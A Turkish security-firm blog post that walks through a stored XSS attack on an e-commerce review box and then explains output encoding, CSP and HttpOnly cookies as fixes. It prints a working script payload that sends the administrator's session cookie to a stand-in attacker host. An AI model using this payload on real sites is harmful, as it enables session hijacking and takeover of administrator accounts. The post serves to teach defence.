← Tüm Yazılar
Senaryo,XSS,Oturum Güvenliği,Kritik

Masum Bir Yorum Kutusu, Çalınan Yönetici Oturumu — Depolanan XSS Senaryosu

2026-07-14 · REDCELL AR-GE

Anonimleştirilmiş bir senaryo. Bir e-ticaret sitesinde ürün yorumları vardı — herkesin yazabildiği, yöneticinin panelden onayladığı sıradan bir alan. İşte bu sıradanlık, kritik bir açığın gizlendiği yerdir.

Fark: Yansıyan mı, Depolanan mı?

XSS (Cross-Site Scripting) iki temel türde gelir:

Bizim senaryomuz depolanan türdü: yorum veritabanına yazılıyor, panelde yönetici onaylarken tarayıcısında çalışıyordu.

Testin İlk Adımı: Zararsız Kanıt

Önce yıkıcı değil, kanıtlayıcı bir yük denenir. Yorum alanına:

<img src=x onerror=alert(document.domain)>

Yönetici paneli bu yorumu açtığında ekrana sitenin alan adını yazan bir kutu çıktıysa, kod çalışıyor demektir. Uygulama, girdiyi metin olarak değil HTML olarak işliyor.

Silah: Oturum Çerezini Sızdırmak

Gerçek bir saldırgan alert ile yetinmez. Yöneticinin oturum çerezini kendi sunucusuna gönderen bir yük yazar:

<script>
new Image().src =
  'https://saldirgan.ornek/c?k=' + encodeURIComponent(document.cookie);
</script>

Yönetici yorumu görüntülediği anda çerezi saldırgana gider. Saldırgan bu çerezi kendi tarayıcısına yapıştırır ve şifre girmeden yönetici olarak oturum açar. Buna "oturum ele geçirme" (session hijacking) denir.

Etki: Bir Yorumdan Tam Kontrole

Hepsi, "yorum yaz" kutusundan.

Çözüm: Üç Katman

1. Çıktı kodlaması (output encoding). Kullanıcıdan gelen her veri, ekrana basılırken kaçış karakterlerine çevrilmelidir. < işareti &lt; olur, kod çalışmaz:

# Sunucu tarafında, ekrana basmadan önce
def esc(s):
    return (s.replace("&","&amp;").replace("<","&lt;")
             .replace(">","&gt;").replace('"',"&quot;"))

Modern şablon motorları (Jinja2, React) bunu varsayılan yapar — devre dışı bırakmayın.

2. İçerik Güvenlik Politikası (CSP). Bir HTTP başlığıyla tarayıcıya "sadece kendi sunucumdan gelen script çalışsın" dersiniz; satır içi script'ler engellenir:

Content-Security-Policy: default-src 'self'; script-src 'self'

3. HttpOnly çerez. Oturum çerezini HttpOnly işaretlerseniz, JavaScript document.cookie ile ona erişemez — yukarıdaki sızdırma yükü çalışmaz:

Set-Cookie: oturum=...; HttpOnly; Secure; SameSite=Strict
Not: Bu üç katman birlikte kullanılır. Biri atlanırsa diğerleri hâlâ korur — güvenlik "derinlemesine savunma" ister.

Sonuç

XSS, "kullanıcı verisine güvenmek" hatasının en pahalı biçimidir. Sitenizde kullanıcının yazı girebildiği her alan — yorum, profil, arama, mesaj — bir XSS test noktasıdır. REDCELL, bu noktaların tamamını yetki kapsamında test eder ve size somut, tekrarlanabilir bir düzeltme listesi bırakır.

Sisteminizin güvenliğinden emin misiniz?

Ücretsiz Ön Değerlendirme →